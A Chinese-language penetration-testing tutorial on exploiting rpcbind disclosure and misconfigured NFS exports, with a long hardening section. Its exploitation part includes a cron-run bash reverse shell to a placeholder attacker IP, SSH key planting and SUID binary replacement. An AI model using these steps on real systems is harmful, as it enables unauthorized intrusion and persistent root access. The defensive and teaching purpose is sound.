公司动态
从rpcbind信息泄露到NFS提权:内网渗透中的经典攻击链剖析
1. 项目概述为什么rpcbind漏洞至今仍值得警惕在网络安全领域总有一些“老古董”级别的漏洞它们年代久远文档稀少以至于很多新入行的渗透测试人员或安全研究员都对其知之甚少。rpcbind历史上也叫portmap相关的漏洞特别是CVE-1999-0632就是这样一个典型。乍一看这是一个1999年的漏洞距今已超过二十年似乎早已被扫进历史的尘埃。但现实情况是在针对内网、老旧系统或特定行业如工控、物联网设备的渗透测试中你依然有很大概率会与它“不期而遇”。这个漏洞的标题常常被扫描器报告为“检测到远端rpcbind/portmap正在运行中”看似只是一个信息泄露实则可能成为攻击链中关键的一环。我之所以想深入聊聊这个话题是因为在一次针对某大型企业遗留系统的授权测试中我们正是通过这个“古老”的入口结合其他弱点最终拿下了核心服务器的权限。整个过程充满了“考古”般的乐趣也让我深刻体会到安全防护不能只看“新潮”的零日漏洞这些沉淀在系统深处的“活化石”往往因为被长期忽视而更具危险性。本文的目的就是带你重新审视rpcbind及其相关漏洞从原理探测、工具使用到实战利用完整走一遍攻击者可能采用的路径。这不仅是为了攻击更是为了防御——只有知道攻击者会怎么用你才能更好地知道该如何防。2. rpcbind核心原理与漏洞本质解析要利用一个漏洞首先得理解它赖以存在的服务是什么。rpcbind是一个将RPC远程过程调用程序号映射到通用地址通常是TCP/UDP端口的服务。你可以把它想象成一个“电话总机”或“服务目录”。当某个RPC服务比如NFS启动时它会向本机的rpcbind服务注册告诉总机“我是NFS服务我的程序号是100003我现在在TCP 2049端口上提供服务。”之后当客户端想要访问NFS时它并不知道NFS具体在哪个端口它会先询问同一台主机上的rpcbind“请问程序号100003的服务在哪里”rpcbind查一下自己的登记簿回复“在TCP 2049端口。”客户端这才去连接2049端口。2.1 CVE-1999-0632它到底是不是一个“漏洞”这里有一个非常关键且容易混淆的点。CVE-1999-0632在NVD国家漏洞数据库中的描述非常简短“rpcbind exposes information about services registered with it.” 翻译过来就是“rpcbind暴露了向其注册的服务信息”。严格来说这更像是一个功能特性被滥用导致的信息泄露问题而非一个传统的缓冲区溢出或代码执行漏洞。它的风险在于默认情况下rpcbind服务特别是旧版本允许来自任何IP地址的查询。攻击者无需任何认证就可以向目标主机的rpcbind服务默认运行在TCP/UDP 111端口发送一个请求询问“你这台机器上都运行了哪些RPC服务它们都在哪些端口”rpcbind会老老实实地把注册表里所有的信息程序号、版本号、协议、端口号全部返回。注意很多扫描器或文章会笼统地称其为“rpcbind漏洞”但实际上利用这个信息泄露进行后续攻击往往需要结合其他RPC服务自身的漏洞比如古老的rpc.statd、rpc.mountd漏洞或者NFS配置不当等。CVE-1999-0632本身提供了“攻击地图”而真正的“武器”是地图上标记的那些有问题的服务。2.2 从信息泄露到实际危害的路径单纯知道有哪些RPC服务危害有限。但结合这些信息攻击路径就清晰了服务发现与指纹识别攻击者首先通过扫描发现111端口开放的rpcbind。通过查询获得所有RPC服务列表例如nfs程序号100003、mountd程序号100005、status程序号100024等。脆弱服务定位在获得的列表中寻找已知存在历史漏洞的RPC服务。例如某些老版本rpc.mountd可能存在缓冲区溢出漏洞如CVE-1999-0002或者rpc.statd服务容易遭受攻击。配置不当利用更常见的情况是利用信息泄露发现的NFS网络文件系统服务。如果NFS服务器配置了不安全的共享规则如no_root_squash且允许任意IP访问攻击者可以直接挂载其共享目录并写入恶意文件如SSH公钥、后门程序从而获取权限。内网横向移动在一台边缘服务器上发现rpcbind信息泄露后攻击者可能发现这台服务器还作为NFS客户端挂载了内网其他重要服务器的共享目录。通过篡改或读取这些共享内容攻击者可以实现向内网的穿透。因此整个利用链条可以概括为探测rpcbind信息泄露 - 识别脆弱RPC服务 - 利用该服务自身漏洞或配置缺陷 - 获取权限或敏感数据。3. 探测与信息收集实战操作实战中我们不会只依赖扫描器报告的一句话。我们需要手动验证并提取尽可能多的信息。以下是一些经典且有效的操作手法。3.1 使用rpcinfo进行基础探测rpcinfo是绝大多数Linux系统自带的RPC查询工具是探测的“瑞士军刀”。基础查询针对目标IPrpcinfo -p 192.168.1.100这条命令会向目标主机192.168.1.100的portmap/rpcbind服务查询所有已注册的RPC程序。输出通常如下program vers proto port service 100000 4 tcp 111 portmapper 100000 3 tcp 111 portmapper 100000 2 tcp 111 portmapper 100000 4 udp 111 portmapper 100003 3 tcp 2049 nfs 100003 4 tcp 2049 nfs 100005 1 udp 20048 mountd 100005 3 udp 20048 mountd 100024 1 udp 45832 status从这个列表我们可以清晰地看到程序号100003是NFS运行在TCP 2049端口。程序号100005是mountd运行在UDP 20048端口。程序号100024是status运行在一个动态端口45832上。更精细的查询 如果你想针对某个特定程序进行查询可以使用rpcinfo -n 2049 -t 192.168.1.100 100003 3 # -n 指定端口-t 指定TCP协议查询目标IP上在2049端口运行的、程序号为100003、版本为3的服务。3.2 使用Nmap脚本进行深度扫描Nmap的NSENmap Scripting Engine脚本库提供了更强大、更自动化的探测能力。基础rpcbind信息枚举nmap -sV -p 111 --script rpcinfo 192.168.1.100这个脚本的效果类似于rpcinfo -p但输出格式更规整易于解析。暴力枚举RPC程序 对于一些老旧或非标系统可能运行着未公开或自定义的RPC程序。Nmap的rpc-grind脚本可以尝试暴力枚举程序号。nmap -p 111 --script rpc-grind --script-args rpc-grind.program100000-200000 192.168.1.100注意这种暴力枚举会产生大量网络流量速度较慢且可能触发安全设备的告警。仅在授权测试且其他方法无效时谨慎使用。NFS专项探测 既然NFS是常见的关联服务我们可以直接针对NFS进行扫描。nmap -p 111,2049 --script nfs* 192.168.1.100这条命令会运行所有名字以nfs开头的脚本如nfs-ls尝试列出NFS共享、nfs-showmount等价于showmount -e等可以快速评估NFS的配置安全性。3.3 手动网络数据包分析理解底层通信原理有助于调试和编写自己的工具。rpcbind查询本质上是一个RPC调用调用的是程序号100000即PORTMAP程序本身的PMAPPROC_DUMP过程该过程不需要参数直接返回所有映射列表。你可以使用tcpdump或Wireshark抓取rpcinfo -p命令产生的流量观察其请求和响应数据包的结构。这对于理解RPC/XDR外部数据表示编码格式很有帮助当你遇到非标准实现或需要编写漏洞利用代码时这些知识至关重要。4. 漏洞利用链构建与实战案例探测到信息只是第一步如何将其转化为实际的攻击入口我们通过一个模拟的实战场景来串联整个流程。场景假设在一次内网渗透测试中我们通过常规扫描发现一台IP为10.10.10.5的Linux服务器开放了111端口rpcbind和2049端口NFS。4.1 第一步信息收集与评估# 1. 查询rpcbind服务 rpcinfo -p 10.10.10.5输出显示有nfs、mountd、nlockmgr等服务。其中mountd程序号100005运行在UDP 20048端口。# 2. 探查NFS共享情况 showmount -e 10.10.10.5 # 如果showmount不可用用nmap脚本替代 nmap -p 111,2049 --script nfs-showmount 10.10.10.5假设返回结果Export list for 10.10.10.5: /home/backup (everyone) /var/www/html *这暴露了两个关键信息/home/backup共享给所有主机everyone。/var/www/html共享给所有主机*这通常是Web根目录。4.2 第二步尝试挂载与权限测试接下来我们在攻击机Kali Linux上尝试挂载这些共享查看其权限配置。# 在攻击机上创建本地挂载点 mkdir /mnt/nfs_backup mkdir /mnt/nfs_webroot # 尝试挂载共享 mount -t nfs 10.10.10.5:/home/backup /mnt/nfs_backup mount -t nfs 10.10.10.5:/var/www/html /mnt/nfs_webroot如果挂载成功说明目标NFS服务器允许来自我们IP的连接这是第一个安全隐患。关键检查点no_root_squash挂载成功后立即检查共享目录的权限特别是是否存在no_root_squash配置隐患。# 切换到root用户在攻击机上 sudo su # 尝试在挂载的目录中创建一个属于root的文件 touch /mnt/nfs_backup/test_root_file ls -l /mnt/nfs_backup/test_root_file查看文件所有者。然后在目标服务器上假设通过其他方式获得了某个低权限shell查看该文件ls -l /home/backup/test_root_file如果目标服务器上该文件的所有者也是root则意味着该NFS共享配置了no_root_squash。这是一个高危配置它允许客户端以root身份创建的文件在服务器端也保持root权限。如果目标服务器上文件所有者变成了nobody或nfsnobody则是相对安全的root_squash配置默认。在我们的假设场景中经检查发现/home/backup共享配置了no_root_squash。4.3 第三步利用no_root_squash提权这是最经典的利用方式。由于我们可以以root身份向共享目录写入文件并且服务器端承认这些文件的root所有权我们就可以植入后门。方法一写入SSH公钥在攻击机上生成SSH密钥对如果还没有的话ssh-keygen -t rsa将公钥id_rsa.pub的内容写入目标共享目录下的授权文件。通常需要写入目标用户的家目录下的.ssh/authorized_keys。但我们目前只知道共享目录是/home/backup不确定是哪个用户。我们可以尝试寻找线索或者直接利用no_root_squash写入root的授权文件。# 在攻击机上挂载点目录下操作 echo 你的公钥内容 /mnt/nfs_backup/authorized_keys # 然后我们需要将这个文件移动到目标服务器root用户的.ssh目录下。 # 但这需要服务器端的路径。一个大胆的尝试是假设/home/backup就是服务器上的路径我们直接写入 echo 你的公钥内容 /mnt/nfs_backup/root_authorized_keys # 然后通过其他途径比如一个低权限Web Shell尝试将这个文件移动到/root/.ssh/authorized_keys。方法二写入计划任务Cron如果目标服务器以root身份运行cron并且cron会执行特定目录下的脚本如/etc/cron.hourly/我们可以写入恶意脚本。# 1. 在攻击机上创建反弹shell脚本 cat /mnt/nfs_backup/exploit.sh EOF #!/bin/bash bash -i /dev/tcp/你的攻击机IP/4444 01 EOF chmod x /mnt/nfs_backup/exploit.sh # 2. 写入计划任务。需要知道服务器上cron的路径。常见的是/etc/cron.d/。 # 假设我们写入一个自定义的cron任务文件。 cat /mnt/nfs_backup/root_exploit.cron EOF * * * * * root /home/backup/exploit.sh EOF # 然后通过低权限shell将root_exploit.cron文件复制到/etc/cron.d/目录。方法三直接覆盖系统二进制文件这是一种破坏性较大的方法仅用于概念验证或最后手段。例如替换/usr/bin/passwd等SUID二进制文件。# 在攻击机上编译一个恶意的后门程序赋予其SUID权限。 # 然后将其复制到挂载目录并通过低权限shell替换目标服务器上的某个关键SUID程序。重要警告覆盖系统文件极易导致系统不稳定或崩溃在真实渗透测试中必须获得明确授权并评估对业务的影响。在CTF或实验环境中可尝试。在我们的模拟案例中我们采用方法一并幸运地发现/home/backup目录下有一个id_rsa.bak文件似乎是某个运维人员的备份私钥。我们直接使用该私钥成功以对应用户身份SSH登录了服务器从而绕过了no_root_squash利用的复杂步骤。4.4 第四步权限提升与横向移动通过SSH登录获得一个普通用户shell后我们开始进行本地信息收集和提权。# 查看当前用户权限 id sudo -l # 查看可以以root身份运行的命令 # 查找SUID/SGID文件 find / -perm -us -type f 2/dev/null # 查找可写的敏感文件或目录 find / -writable -type d 2/dev/null 2/dev/null | grep -v proc | grep -v sys同时我们检查从rpcbind获取的其他服务信息。例如我们发现rpc.statd服务在运行。历史上statd曾存在多个漏洞如CVE-2000-0666。我们可以搜索该版本的statd是否有公开的本地提权漏洞。此外我们还可以利用已获得的权限从这台服务器上再次运行rpcinfo -p查询内网其他主机进行横向移动。因为这台服务器很可能与内网其他服务器存在NFS挂载或RPC通信。5. 防御措施与安全加固指南了解了攻击者的手法防御就变得有针对性了。以下是从系统管理员角度出发的加固建议。5.1 网络层访问控制这是最有效的一层防御。防火墙策略除非绝对必要否则应在边界防火墙和主机防火墙如iptables, firewalld上屏蔽对TCP/UDP 111端口的访问。只允许特定的、可信的客户端IP或网段访问rpcbind服务。例如如果只有IP为192.168.1.0/24的服务器集群需要互相进行RPC调用那么只放行这个网段。# 示例使用firewalld限制111端口访问 sudo firewall-cmd --permanent --add-rich-rulerule familyipv4 source address192.168.1.0/24 port protocoltcp port111 accept sudo firewall-cmd --permanent --add-rich-rulerule familyipv4 source address192.168.1.0/24 port protocoludp port111 accept sudo firewall-cmd --permanent --remove-port111/tcp # 移除默认的开放规则 sudo firewall-cmd --permanent --remove-port111/udp sudo firewall-cmd --reload禁用非必需服务如果业务上不需要NFS、NIS等RPC服务直接卸载或停止相关服务并禁用rpcbind开机自启。# 停止服务 sudo systemctl stop nfs-server rpcbind # 禁用开机启动 sudo systemctl disable nfs-server rpcbind # 卸载软件包CentOS/RHEL sudo yum remove nfs-utils rpcbind5.2 rpcbind服务配置加固如果业务必须使用RPC服务则需对rpcbind本身进行配置。使用-h绑定特定IP在启动rpcbind时使用-h参数指定只监听在特定的内部网络接口上而不是0.0.0.0。# 编辑systemd服务文件 /usr/lib/systemd/system/rpcbind.service # 在[Service]部分的ExecStart行修改为 ExecStart/sbin/rpcbind -h 192.168.1.100 -w # 然后重启服务 sudo systemctl daemon-reload sudo systemctl restart rpcbind注意并非所有发行版或版本的rpcbind都支持-h参数请先查阅man rpcbind确认。利用/etc/hosts.allow和/etc/hosts.deny这是TCP Wrappers的配置可以对基于主机名的访问进行控制注意容易被IP欺骗绕过。# /etc/hosts.deny rpcbind: ALL # /etc/hosts.allow rpcbind: 192.168.1.0/255.255.255.0, localhost这表示拒绝所有只允许192.168.1.0/24网段和本机访问。5.3 关联服务如NFS安全配置加固rpcbind的同时必须加固其关联的、真正提供业务功能的RPC服务。最小化共享原则NFS共享时只共享必要的目录给最小必要的权限。禁止使用no_root_squash在NFS服务器配置文件/etc/exports中绝对不要对不可信网络使用no_root_squash选项。使用默认的root_squash或更严格的all_squash。# 不安全的配置示例严禁 /data *(rw,no_root_squash,sync) # 相对安全的配置 /data 192.168.1.0/24(rw,sync) # 指定IP段使用默认的root_squash /public *(ro,all_squash,sync) # 对所有人只读并将所有用户映射为匿名用户使用更安全的替代方案考虑使用SSHFS、Samba配置强认证或对象存储来替代NFS特别是在跨不安全网络传输时。5.4 安全监控与审计日志监控确保系统日志/var/log/messages,/var/log/syslog记录了rpcbind和NFS的访问日志。监控异常的外部IP地址对111端口的连接尝试。定期漏洞扫描使用Nessus, OpenVAS等专业漏洞扫描器或内部脚本定期对服务器进行扫描检查是否意外开放了rpcbind等不必要的服务。网络入侵检测在IDS/IPS规则中添加对异常RPC查询如来自外网的PMAPPROC_DUMP调用的检测规则。6. 高级利用技巧与疑难问题排查在实际渗透测试中情况往往比实验室环境复杂得多。这里分享一些进阶技巧和常见问题的解决方法。6.1 绕过简单的IP限制如果目标防火墙只允许特定IP段访问111端口但你已经通过其他方式如Web漏洞在目标网络内部获得了一个立足点跳板机。你可以在这台跳板机上运行扫描和利用工具因为从跳板机发起的流量属于“内网流量”通常不受严格的边界防火墙限制。这就是经典的“横向移动”场景。6.2 处理版本差异与兼容性问题不同操作系统Solaris, AIX, HP-UX, 各种Linux发行版和不同版本的rpcbind/nfs-utils其行为、默认配置和漏洞情况可能不同。Solaris老版本Solaris的rpcbind可能响应方式略有不同且其RPC服务程序号可能和Linux有差异。需要参考对应系统的文档。非常老的系统可能会遇到SunRPC而不是Portmap V2的情况查询工具的参数可能需要调整。rpcinfo的-b广播选项在某些旧网络环境下可能有用但也会产生大量噪音。技巧在不确定时使用nc或ncat手动构造最简单的RPC请求包可以排除工具兼容性问题。一个简单的测试是向目标111端口发送一个空行或一个RPC NULL调用看是否有响应。6.3 当showmount被过滤或失效时有时目标服务器的mountd服务可能配置为不响应来自某些网络的showmount请求或者网络中存在过滤。此时可以尝试直接与NFS端口2049进行交互。使用Nmap的nfs-ls脚本它不依赖mountd而是直接与NFS协议对话来尝试列出共享。nmap -p 2049 --script nfs-ls --script-args nfs-ls.share/假设的共享名 10.10.10.5手动挂载探测写一个简单的脚本尝试用常见的共享名如/home,/export,/share,/data进行挂载。虽然效率低但在特定场景下可能有效。6.4 利用其他RPC服务漏洞除了NFS配置不当历史上其他RPC服务也存在远程代码执行漏洞。例如rpc.cmsd(Calendar Manager Service Daemon): CVE-1999-0696等。rpc.ttdbserver(ToolTalk Database Server): CVE-1999-0003等。rpc.statd: 多个溢出漏洞。在通过rpcbind获取服务列表后应立即根据程序号和版本号搜索对应的公开漏洞。Metasploit框架中就包含了大量这类古老但可能未修补的RPC漏洞利用模块。在授权测试中可以尝试使用。6.5 排查工具使用中的常见错误rpcinfo: cant contact portmapper: RPC: Remote system error - Connection refused这通常意味着目标111端口被防火墙完全阻止或者rpcbind服务没有运行。先用nmap -sS -p 111确认端口状态。rpcinfo: cant contact portmapper: RPC: Timed out网络延迟大或存在丢包或者目标主机处理缓慢。尝试增加超时时间如果工具支持或从网络质量更好的节点进行测试。Program not registered当你用rpcinfo查询一个具体的程序号/版本时返回此错误说明该服务确实没有在rpcbind注册或者注册的版本号不对。用rpcinfo -p查看所有注册信息进行核对。挂载NFS时提示access denied by server while mounting这表示客户端IP不在NFS服务器/etc/exports文件定义的允许列表中。这是正常的访问控制不是错误。你需要找到允许访问的IP段或者利用其他漏洞如服务器端配置错误、已控跳板机来满足这个条件。7. 从攻击者视角看防御如何让系统“隐身”最后我们换位思考作为一个攻击者什么样的系统最难通过rpcbind这条路径突破答案是一个“隐身”的系统。服务最小化这是黄金法则。不安装nfs-utils、rpcbind等软件包。使用netstat -tulnp或ss -tulnp定期检查确保111端口没有监听。网络分区与微隔离即使内网需要NFS也应将存储网络与业务网络、管理网络严格分离。使用VLAN、防火墙策略确保只有特定的存储客户端能访问NFS服务器的111和2049端口。使用现代替代协议对于新的项目优先考虑使用基于SSH的SFTP/SSHFS或者使用带有Kerberos认证的NFSv4。NFSv4不再依赖单独的rpcbind和mountd服务它只使用一个已知的端口2049并且支持更强的认证机制安全性比NFSv3有显著提升。主动欺骗与蜜罐在非生产环境可以部署一个rpcbind蜜罐记录所有查询请求的来源和内容用于威胁情报收集和攻击预警。归根结底应对像CVE-1999-0632这类“信息泄露”型的老漏洞最有效的策略不是复杂的缓解措施而是彻底的“断舍离”。关闭不需要的服务隔离必要的网络升级到更安全的协议。安全往往就藏在这些基础但严格执行的运维规范之中。每次我看到扫描报告里出现“检测到远端rpcbind正在运行中”我首先想到的不是兴奋而是为那台服务器背后的管理员感到一丝担忧——又一个可能被遗忘的角落正在向整个网络低声诉说着它的秘密。